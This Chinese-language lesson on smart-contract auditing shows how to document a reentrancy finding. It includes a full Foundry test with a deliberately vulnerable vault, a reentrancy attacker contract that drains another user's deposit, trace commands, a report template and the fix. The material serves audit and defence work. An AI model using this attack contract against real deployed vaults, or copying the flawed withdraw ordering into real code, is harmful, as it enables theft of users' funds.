智能合约与以太坊 / 系统课时

为审计发现附上攻击证据

为审计发现附上攻击证据

智能合约审计报告不能只写“存在重入风险”,还需要证明漏洞在什么条件下能够触发、攻击者实际获得什么结果,以及修复后为什么不再成立。本课使用一个可复现的重入漏洞,完成从最小攻击交易到审计证据整理的全过程。

学习目标

  • 使用固定环境记录漏洞前提、受影响函数和攻击交易。
  • 编写最小复现测试,提供交易结果、余额变化和可核查断言。
  • 将攻击证据、影响范围和修复建议整理成可复核的审计发现。

明确漏洞前提与证据范围

假设正在审计一个允许用户存入和取出 ETH 的资金合约。目标函数是 withdraw():它先向调用者发送 ETH,随后才扣减账户余额。攻击者可以在接收 ETH 时通过 receive() 再次调用 withdraw(),利用余额尚未更新的窗口重复提款。

在报告里,需要把攻击能够成功的条件写成可以验证的事实,而不是笼统地标注“可能被攻击”。

证据字段 本次复现内容
漏洞类型 重入攻击,违反检查-生效-交互顺序
受影响函数 VulnerableVault.withdraw(uint256)
攻击入口 恶意合约的 receive()
攻击者权限 无需管理员权限,普通存款用户即可触发
资金前提 金库已有其他用户存入的 ETH
核心缺陷 外部 ETH 转账发生在余额扣减之前
可观察结果 攻击者提取超过自身存款额度的 ETH

审计记录还应写明编译器版本、测试框架版本、合约源码的 Git commit、网络或本地链标识。若使用真实部署环境,还需提供链 ID、合约地址、区块高度与交易哈希。本课采用本地 Foundry 测试,不编造链上交易哈希。

构造最小攻击交易

下面使用 Solidity 0.8.24 和 Foundry。测试环境需要已安装与项目匹配的 forge,并且能够获取 OpenZeppelin 以外的零依赖 Solidity 合约。本示例不依赖第三方合约库。

先在测试项目根目录创建 test/ReentrancyEvidence.t.sol。完整代码包含存在缺陷的金库、攻击合约和复现测试,能够直接作为独立测试文件使用。

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient");
        // 缺陷:先向外部地址转账,再扣减内部余额
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
        balances[msg.sender] -= amount;
    }
}

contract ReentrancyAttacker {
    VulnerableVault public immutable vault;
    uint256 public remaining;

    constructor(VulnerableVault target) {
        vault = target;
    }

    function attack() external payable {
        require(msg.value == 1 ether, "need 1 ETH");
        remaining = 1;
        vault.deposit{value: 1 ether}();
        vault.withdraw(1 ether);
    }

    receive() external payable {
        // 仅重入一次,避免最终扣款触发下溢而回滚
        if (remaining > 0) {
            remaining -= 1;
            vault.withdraw(1 ether);
        }
    }
}

contract ReentrancyEvidenceTest is Test {
    function test_AttackerDrainsVictimDeposit() public {
        VulnerableVault vault = new VulnerableVault();
        ReentrancyAttacker attacker = new ReentrancyAttacker(vault);
        address victim = makeAddr("victim");
        address operator = makeAddr("operator");

        vm.deal(victim, 1 ether);
        vm.deal(operator, 1 ether);

        vm.prank(victim);
        vault.deposit{value: 1 ether}();

        // 攻击者存入 1 ETH,却通过重入提取 2 ETH
        vm.prank(operator);
        attacker.attack{value: 1 ether}();

        assertEq(address(attacker).balance, 2 ether);
        assertEq(address(vault).balance, 0);
        assertEq(vault.balances(victim), 1 ether);
        assertEq(vault.balances(address(attacker)), 0);
    }
}

这里特意将攻击限制为一次重入。Solidity 0.8 起默认检查整数下溢,如果攻击者在同一余额上递归提款三次,最终可能因重复扣款下溢而导致整笔交易回滚。限制为两次提款可以准确证明:攻击者初始存入 1 ETH,却从包含其他用户资金的金库中取走 2 ETH。

执行测试前,确认项目已通过 forge init 初始化,且 lib/forge-std 存在。然后运行:

bash
forge test --match-test test_AttackerDrainsVictimDeposit -vvv

预期输出(以下是关键结果摘录,耗时和编译日志随环境变化):

text
[PASS] test_AttackerDrainsVictimDeposit()
Suite result: ok. 1 passed; 0 failed

该结果只能证明断言通过,不能单独证明攻击细节。需要同时保存测试源码、执行命令和更详细的调用轨迹,供审计复核。

用交易轨迹证明漏洞已经触发

攻击证据必须关联前置状态、实际调用和结束状态。对本地测试而言,可以使用 Foundry 的详细执行轨迹代替公共链上的交易哈希。

执行以下命令显示通过测试的完整轨迹:

bash
forge test --match-test test_AttackerDrainsVictimDeposit -vvvv

预期结果:测试通过,并展示包含两次 VulnerableVault.withdraw(1000000000000000000) 调用的调用轨迹。由于合约地址、Gas 消耗和轨迹缩进由测试环境决定,不应把固定地址或 Gas 数值写进正式证据。

重入攻击中外部调用与余额更新的时序证据

对应的余额证据如下,单位均为 ETH。攻击交易的转入资金和合约收到的提款应分别计量,不能把调用者最终钱包余额误当作漏洞收益。

检查对象 攻击前(双方存款完成) 攻击后
金库实际 ETH 余额 2 0
恶意合约 ETH 余额 0 2
受害者账面余额 1 1
攻击者账面余额 1 0

在本地算例中,恶意合约提取了 2 ETH,其中 1 ETH 对应攻击者自己的存款,另外 1 ETH 来自其他用户的资金。攻击者净获得 1 ETH;受害者账面余额仍为 1 ETH,但金库已经没有 ETH 可用于兑付。

需要特别注意:测试通过不代表在所有部署状态下都能够获利。审计报告应将“本地已复现”与“生产网络实际遭受攻击”明确区分,不能把模拟调用记录写成真实链上攻击事件。

将证据整理成可复核的审计发现

一条合格的审计发现,至少要允许另一名工程师使用相同代码版本复现相同资产损失。以下内容可以直接作为审计报告条目的基础模板。

报告字段 应填写的证据
发现编号 SC-REENTRANCY-001
标题 withdraw 在余额更新前执行外部转账,可导致重复提款
严重程度 高危(基于示例中无需特权且可直接损失资金的条件)
影响位置 VulnerableVault.withdraw(uint256) 的低级 call 与后续余额扣减
前置条件 金库存在其他用户存款,攻击者可以部署接收 ETH 的合约
攻击路径 存入 1 ETH、首次提款、回调再次提款
最小证据 test_AttackerDrainsVictimDeposit 测试和 -vvvv 调用轨迹
实际结果 攻击者存入 1 ETH,提取 2 ETH,金库余额变为 0
预期安全行为 同一笔 1 ETH 存款最多允许成功提取 1 ETH
修复建议 在外部转账之前完成状态更新,必要时增加重入锁

严重程度应结合实际部署条件重新评定。如果生产合约存在提现限额、可暂停机制或独立资金隔离规则,需要明确这些控制是否真正阻断攻击,而不是直接照搬示例的高危结论。

正式报告附件建议包含测试文件、精确的 Git commit、forge --version 结果、编译器版本、执行命令、原始测试日志,以及定位到具体源码行的链接。保存日志时应保持原始内容,避免只截取成功字样而丢失调用上下文。

如果是真实链上漏洞,应另外附上交易哈希、链 ID、受影响合约地址、交易发生区块及可公开验证的状态变化。涉及第三方资金或未公开漏洞时,应使用授权测试环境并按负责任披露流程处理,不要在生产链上实际提款验证。

修复后验证攻击条件已被切断

针对该案例,首先采用检查-生效-交互模式,把内部余额扣减移到外部 ETH 转账之前。以下是对原合约 withdraw 函数的替换片段,依赖前面定义的 balances 状态变量。

solidity
function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "insufficient");
    // 先更新余额,使重入调用无法重复使用同一存款
    balances[msg.sender] -= amount;
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "transfer failed");
}

这段代码是修复片段,不是单独可编译的合约。将它替换到前面的 VulnerableVault 中,再执行同一条测试命令:

bash
forge test --match-test test_AttackerDrainsVictimDeposit -vvv

预期结果:原攻击测试不再通过,原因是第二次提款时,攻击者账面余额已经提前扣减为 0,触发 insufficient,并使攻击交易回滚。原有的 assertEq 断言不会执行到最后。

如果采用 OpenZeppelin 的 ReentrancyGuard,还应确认项目使用的具体依赖版本,并通过 nonReentrant 保护相关入口。重入锁可阻止受保护入口的递归进入,但不能替代对跨函数共享状态、资产核算和授权逻辑的完整审查。

最终在审计报告中把修复前后的代码版本、测试结果与对应证据关联起来。只有其他审计人员能够从固定代码版本重现攻击、确认资产变化,并在修复版本验证攻击失效,这条漏洞证据才构成可以交付的审计结论。

按自己的节奏,确认真正理解。

目录与阅读设置

阅读设置

17

记录一个想法

为审计发现附上攻击证据

0 / 10000 · 笔记保存到账号。未提交的修改会在关闭、离开或刷新后丢失。

登录哪都通